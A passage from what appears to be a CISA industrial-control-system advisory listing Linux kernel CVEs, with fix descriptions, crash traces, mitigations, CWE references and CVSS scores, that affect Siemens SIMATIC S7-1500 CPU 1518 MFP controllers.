<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Check skb-&gt;transport_header is set in bpf_skb_check_mtu The bpf_skb_check_mtu helper needs to use skb-&gt;transport_header when the BPF_MTU_CHK_SEGS flag is used: bpf_skb_check_mtu(skb, ifindex, &amp;mtu_len, 0, BPF_MTU_CHK_SEGS) The transport_header is not always set. There is a WARN_ON_ONCE report when CONFIG_DEBUG_NET is enabled + skb-&gt;gso_size is set + bpf_prog_test_run is used: WARNING: CPU: 1 PID: 2216 at ./include/linux/skbuff.h:3071 skb_gso_validate_network_len bpf_skb_check_mtu bpf_prog_3920e25740a41171_tc_chk_segs_flag # A test in the next patch bpf_test_run bpf_prog_test_run_skb For a normal ingress skb (not test_run), skb_reset_transport_header is performed but there is plan to avoid setting it as described in commit 2170a1f09148 ("net: no longer reset transport_header in __netif_receive_skb_core()"). This patch fixes the bpf helper by checking skb_transport_header_was_set(). The check is done just before skb-&gt;transport_header is used, to avoid breaking the existing bpf prog. The WARN_ON_ONCE is limited to bpf_prog_test_run, so targeting bpf-next.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68363">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68371</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: smartpqi: Fix device resources accessed after device removal Correct possible race conditions during device removal. Previously, a scheduled work item to reset a LUN could still execute after the device was removed, leading to use-after-free and other resource access issues. This race condition occurs because the abort handler may schedule a LUN reset concurrently with device removal via sdev_destroy(), leading to use-after-free and improper access to freed resources. - Check in the device reset handler if the device is still present in the controller's SCSI device list before running; if not, the reset is skipped. - Cancel any pending TMF work that has not started in sdev_destroy(). - Ensure device freeing in sdev_destroy() is done while holding the LUN reset mutex to avoid races with ongoing resets.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68371">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68724</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: asymmetric_keys - prevent overflow in asymmetric_key_generate_id Use check_add_overflow() to guard against potential integer overflows when adding the binary blob lengths and the size of an asymmetric_key_id structure and return ERR_PTR(-EOVERFLOW) accordingly. This prevents a possible buffer overflow when copying data from potentially malicious X.509 certificate fields that can be arbitrarily large, such as ASN.1 INTEGER serial numbers, issuer names, etc.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68724">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68725</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Do not let BPF test infra emit invalid GSO types to stack Yinhao et al. reported that their fuzzer tool was able to trigger a skb_warn_bad_offload() from netif_skb_features() -&gt; gso_features_check(). When a BPF program - triggered via BPF test infra - pushes the packet to the loopback device via bpf_clone_redirect() then mentioned offload warning can be seen. GSO-related features are then rightfully disabled. We get into this situation due to convert___skb_to_skb() setting gso_segs and gso_size but not gso_type. Technically, it makes sense that this warning triggers since the GSO properties are malformed due to the gso_type. Potentially, the gso_type could be marked non-trustworthy through setting it at least to SKB_GSO_DODGY without any other specific assumptions, but that also feels wrong given we should not go further into the GSO engine in the first place. The checks were added in 121d57af308d ("gso: validate gso_type in GSO handlers") because there were malicious (syzbot) senders that combine a protocol with a non-matching gso_type. If we would want to drop such packets, gso_features_check() currently only returns feature flags via netif_skb_features(), so one location for potentially dropping such skbs could be validate_xmit_unreadable_skb(), but then otoh it would be an additional check in the fast-path for a very corner case. Given bpf_clone_redirect() is the only place where BPF test infra could emit such packets, lets reject them right there.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68725">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68742</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Fix invalid prog-&gt;stats access when update_effective_progs fails Syzkaller triggers an invalid memory access issue following fault injection in update_effective_progs. The issue can be described as follows: __cgroup_bpf_detach update_effective_progs compute_effective_progs bpf_prog_array_alloc &lt;-- fault inject purge_effective_progs /* change to dummy_bpf_prog */ array-&gt;items[index] = &amp;dummy_bpf_prog.prog ---softirq start--- __do_softirq ... __cgroup_bpf_run_filter_skb __bpf_prog_run_save_cb bpf_prog_run stats = this_cpu_ptr(prog-&gt;stats) /* invalid memory access */ flags = u64_stats_update_begin_irqsave(&amp;stats-&gt;syncp) ---softirq end--- static_branch_dec(&amp;cgroup_bpf_enabled_key[atype]) The reason is that fault injection caused update_effective_progs to fail and then changed the original prog into dummy_bpf_prog.prog in purge_effective_progs. Then a softirq came, and accessing the members of dummy_bpf_prog.prog in the softirq triggers invalid mem access. To fix it, skip updating stats when stats is NULL.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68742">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68764</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFS: Automounted filesystems should inherit ro,noexec,nodev,sync flags When a filesystem is being automounted, it needs to preserve the user-set superblock mount options, such as the "ro" flag.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68764">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/266.html">CWE-266 Incorrect Privilege Assignment</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68773</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: spi: fsl-cpm: Check length parity before switching to 16 bit mode Commit fc96ec826bce ("spi: fsl-cpm: Use 16 bit mode for large transfers with even size") failed to make sure that the size is really even before switching to 16 bit mode. Until recently the problem went unnoticed because kernfs uses a pre-allocated bounce buffer of size PAGE_SIZE for reading EEPROM. But commit 8ad6249c51d0 ("eeprom: at25: convert to spi-mem API") introduced an additional dynamically allocated bounce buffer whose size is exactly the size of the transfer, leading to a buffer overrun in the fsl-cpm driver when that size is odd. Add the missing length parity verification and remain in 8 bit mode when the length is not even.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68773">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68776</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/hsr: fix NULL pointer dereference in prp_get_untagged_frame() prp_get_untagged_frame() calls __pskb_copy() to create frame-&gt;skb_std but doesn't check if the allocation failed. If __pskb_copy() returns NULL, skb_clone() is called with a NULL pointer, causing a crash: Oops: general protection fault, probably for non-canonical address 0xdffffc000000000f: 0000 [#1] SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x0000000000000078-0x000000000000007f] CPU: 0 UID: 0 PID: 5625 Comm: syz.1.18 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 RIP: 0010:skb_clone+0xd7/0x3a0 net/core/skbuff.c:2041 Code: 03 42 80 3c 20 00 74 08 4c 89 f7 e8 23 29 05 f9 49 83 3e 00 0f 85 a0 01 00 00 e8 94 dd 9d f8 48 8d 6b 7e 49 89 ee 49 c1 ee 03 &lt;43&gt; 0f b6 04 26 84 c0 0f 85 d1 01 00 00 44 0f b6 7d 00 41 83 e7 0c RSP: 0018:ffffc9000d00f200 EFLAGS: 00010207 RAX: ffffffff892235a1 RBX: 0000000000000000 RCX: ffff88803372a480 RDX: 0000000000000000 RSI: 0000000000000820 RDI: 0000000000000000 RBP: 000000000000007e R08: ffffffff8f7d0f77 R09: 1ffffffff1efa1ee R10: dffffc0000000000 R11: fffffbfff1efa1ef R12: dffffc0000000000 R13: 0000000000000820 R14: 000000000000000f R15: ffff88805144cc00 FS: 0000555557f6d500(0000) GS:ffff88808d72f000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000555581d35808 CR3: 000000005040e000 CR4: 0000000000352ef0 Call Trace: hsr_forward_do net/hsr/hsr_forward.c:-1 [inline] hsr_forward_skb+0x1013/0x2860 net/hsr/hsr_forward.c:741 hsr_handle_frame+0x6ce/0xa70 net/hsr/hsr_slave.c:84 __netif_receive_skb_core+0x10b9/0x4380 net/core/dev.c:5966 __netif_receive_skb_one_core net/core/dev.c:6077 [inline] __netif_receive_skb+0x72/0x380 net/core/dev.c:6192 netif_receive_skb_internal net/core/dev.c:6278 [inline] netif_receive_skb+0x1cb/0x790 net/core/dev.c:6337 tun_rx_batched+0x1b9/0x730 drivers/net/tun.c:1485 tun_get_user+0x2b65/0x3e90 drivers/net/tun.c:1953 tun_chr_write_iter+0x113/0x200 drivers/net/tun.c:1999 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x5c9/0xb30 fs/read_write.c:686 ksys_write+0x145/0x250 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0xfa0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f0449f8e1ff Code: 89 54 24 18 48 89 74 24 10 89 7c 24 08 e8 f9 92 02 00 48 8b 54 24 18 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 01 00 00 00 0f 05 &lt;48&gt; 3d 00 f0 ff ff 77 31 44 89 c7 48 89 44 24 08 e8 4c 93 02 00 48 RSP: 002b:00007ffd7ad94c90 EFLAGS: 00000293 ORIG_RAX: 0000000000000001 RAX: ffffffffffffffda RBX: 00007f044a1e5fa0 RCX: 00007f0449f8e1ff RDX: 000000000000003e RSI: 0000200000000500 RDI: 00000000000000c8 RBP: 00007ffd7ad94d20 R08: 0000000000000000 R09: 0000000000000000 R10: 000000000000003e R11: 0000000000000293 R12: 0000000000000001 R13: 00007f044a1e5fa0 R14: 00007f044a1e5fa0 R15: 0000000000000003 Add a NULL check immediately after __pskb_copy() to handle allocation failures gracefully.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68776">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68782</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: target: Reset t_task_cdb pointer in error case If allocation of cmd-&gt;t_task_cdb fails, it remains NULL but is later dereferenced in the 'err' path. In case of error, reset NULL t_task_cdb value to point at the default fixed-size buffer. Found by Linux Verification Center (linuxtesting.org) with SVACE.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68782">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
